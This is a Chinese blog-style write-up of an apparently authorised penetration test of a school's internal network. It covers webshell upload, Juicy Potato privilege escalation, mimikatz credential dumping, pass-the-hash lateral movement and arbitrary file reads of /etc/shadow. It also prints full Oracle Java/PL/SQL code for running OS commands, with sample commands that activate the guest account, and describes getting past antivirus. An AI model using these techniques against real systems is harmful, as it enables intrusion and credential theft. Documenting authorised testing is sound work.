針對學校內網的一次滲透測試
0x01 初探內網
在向信息中心的老師申請了對學校進行一次內網滲透測試的授權之后,我開始著手對學校內網中在用系統進行了一波信息搜集。其中大部分都使用了新版的未爆出0day的框架組件,這讓我一開始的打點過程陷入僵局。
但是在我重新翻了一遍學校開放的各種web系統后,我發現了一些令人驚喜的系統。

學校使用了很多新系統,但是并沒有把老系統關閉,經過一番搜索確定了這個老系統存在任意文件上傳漏洞。

沒有任何過濾,可以說就是撿漏了。

而且也返回了一句話木馬的路徑。但是我遇到了一個很奇怪的現象,用蟻劍和用菜刀連接后,返回的路徑不一樣,其中的文件也不一樣。

其中蟻劍連接的shell無法上傳文件,而菜刀連接的卻可以,并且webshell執行一次命令后就會封禁IP,懷疑有waf。
所以我先傳了一個msf的aspx木馬來獲取一個meterpreter的會話。使用windows-exploit-suggest探測未打的補丁。

發現存在MS16-075這個非常好用的漏洞,直接配合msf的juicy_potato模塊來攻擊,記住要修改CLSID,可以在這里找
https://github.com/ohpe/juicy-potato/tree/master/CLSID
使用的payload最好要選擇正向連接 bind_tcp,不然有可能彈不回來shell。

這樣就獲取了system權限,接下來就是對機器進行信息搜集,獲取對我們橫向滲透有幫助的信息。
很奇怪的一點是,這臺機器本來是有域的,但現在卻沒有了,且無法找到域控。所以我們的重點放在密碼撞庫。使用msf自帶的mimikatz模塊來獲取密碼。

撞到了兩三臺機器,還有一些機器是開著445端口,但沒有開3389端口。
這樣我們可以嘗試使用ms-17010,但考慮可能會對某些正在使用的系統造成影響,我還是選擇使用更穩妥的 psexec模塊來進行撞庫。
也就是哈希傳遞,有時候我們碰到無法獲取明文的密碼,可以考慮dump出密碼的hash值,再使用psexec模塊進行哈希傳遞來進行攻擊,獲取到的都是SYSTEM權限。
后面的步驟索然無味,就是不斷的撞庫搜集密碼,然后再通過搜集的密碼再撞庫,獲取到了足夠多的機器和密碼之后,找到了邊界路由器,但是之前搜集的密碼都無法成功登錄,只好放棄。這個網段就告一段落。
0x02 深入探索
經過對新系統的一番搜索,我在其中的一個功能中找到了任意文件下載漏洞。

并且是root用戶起的服務,最理想的情況就是,讀取/etc/shadow文件,爆破root用戶密碼。(失敗),然后嘗試讀取/root/.bash_history 來獲取root用戶的操作歷史記錄。
其中記錄了tomcat部署的路徑,以及備份的源碼文件。通過下載源碼進行信息搜集,我搜集到了一個很關鍵的信息,這個網段的機器大多數使用oracle數據庫,并且沒有修改SID,手里還有幾個可以嘗試的密碼。
經過一番爆破,發現了一臺機器oracle數據庫system用戶密碼未修改,為manager。大家應該知道oracle數據庫是可以執行系統命令的,而system用戶完全符合執行系統命令的條件。網上找到一個工具,去掉了繁瑣的步驟,可以直接執行命令。

0x03 繞過火絨行為檢測
但是又出現了一個很奇怪的問題,我只能執行少數的幾個命令,雖然我是system用戶,但我一旦使用到 net user之類的命令時,就沒有了回顯。后面發現是火絨攔截了異常行為。
然后我嘗試了直接使用 navicat 中的sqlplus來連接服務器。根據網上的步驟建立執行命令的代碼,我可以根據服務器返回的1或0來判斷命令是否執行。
create or replace and compile Java Source named "OSCommand" as
-- java: OS COMMAND
import java.io.*;
import java.lang.*;
public class OSCommand{
public static String Run(String Command){
Runtime rt = Runtime.getRuntime();
int rc = -1;
try{
Process p = rt.exec( Command );
int bufSize = 32000;
int len = 0;
byte buffer[] = new byte[bufSize];
String s = null;
BufferedInputStream bis = new BufferedInputStream( p.getInputStream(), bufSize );
len = bis.read( buffer, 0, bufSize );
rc = p.waitFor();
if ( len != -1 ){
s = new String( buffer, 0, len );
return( s );
}
return( rc+"" );
}
catch (Exception e){
e.printStackTrace();
return( "-1command[" + Command + "]" + e.getMessage() );
}
}
}
/
show errors
create or replace function OSexec( cCommand IN string ) return varchar2 is
-- function: OS EXEC
-- descr: PL/SQL wrapper for the Java OSCOMMAND stored proc
--
language JAVA
name 'OSCommand.Run(java.lang.String) return java.lang.String';
/
show errors
-- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC
-- and OSCOMMAND stored procs.
declare
SCHEMA varchar2(30) := 'SCOTT';
begin
dbms_java.grant_permission(
SCHEMA,
'SYS:java.io.FilePermission',
'<>',
'execute'
);
dbms_java.grant_permission(
SCHEMA,
'SYS:java.lang.RuntimePermission',
'writeFileDescriptor',
'*'
);
dbms_java.grant_permission(
SCHEMA,
'SYS:java.lang.RuntimePermission',
'readFileDescriptor',
'*'
);
commit;
end;
/
-- 查看本地連接信息
SQL> select OSexec('ipconfig') as STDOUT from dual;
STDOUT
--------------------------------------------------------------------------------
Windows IP ????
??????????? ????l?? 3:
l??????? DNS ??? . . . . . . . :
????t?? IPv6 ???. . . . . . . . : *************
IPv4 ??? . . . . . . . . . . . . : 192.168.100.100
???????? . . . . . . . . . . . . : 255.255.255.0
??????. . . . . . . . . . . . . : 0.0.0.0
--激活guest賬號
SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual;
STDOUT
--------------------------------------------------------------------------------
0
因為存在殺毒軟件監控oracle的行為,所以得要通過一些不被攔截的行為來組合起來攻擊。
讓我沒想到的是,當我直接執行命令行開啟3389端口時,火絨居然沒有攔截。但當我執行net user等命令的時候又無法執行。
這時候我突然想起來guest用戶,我啟用guest用戶,然后加入管理員組,這一次沒有被攔截。直接遠程桌面連接以后,當我想在機器上使用mimikatz或者是反彈一個shell到cs上都失敗了。
并且guest用戶還有一些權限被禁用了,比如添加用戶等敏感操作。但是我執行net user的時候發現了一個用戶,這個用戶我在之前的機器上見過,并且我有這個用戶的密碼。所以再通過sqlplus來將這個用戶加入管理員組。
所以火絨攔截的行為規則就是不能添加用戶,但是可以把已存在的用戶加入管理員組,并且guest用戶可激活,可開3389。在我再次登錄這個機器之后,還是沒有辦法反彈shell回來,或者是讀出它的密碼。這時候學弟和我說,可以直接打開火絨,關閉防護,就可以反彈shell了。我?????
然后一通操作拿到了shell,但是還是讀不出明文密碼,我就想著把哈希dump出來然后去爆破。但是又想起來有一個國外的在線網站可以解NTLM
https://www.objectif-securite.ch/ophcrack

獲取密碼之后,又是熟悉的撞庫,信息搜集,再撞庫。
然后在服務器上發現了一個xftp保存了幾臺服務器的密碼,這個時候發現一個騷操作,可以用一個星號密碼查看器的工具,來查看這里保存的密碼。

又喜提幾臺root權限的機器。后面要考試就不想玩了,把所有搜集的密碼用戶記錄,然后撞整個網段的機器,撞出了很多弱口令。

恭喜信息中心老師喜提加班。請大佬們輕噴。。。。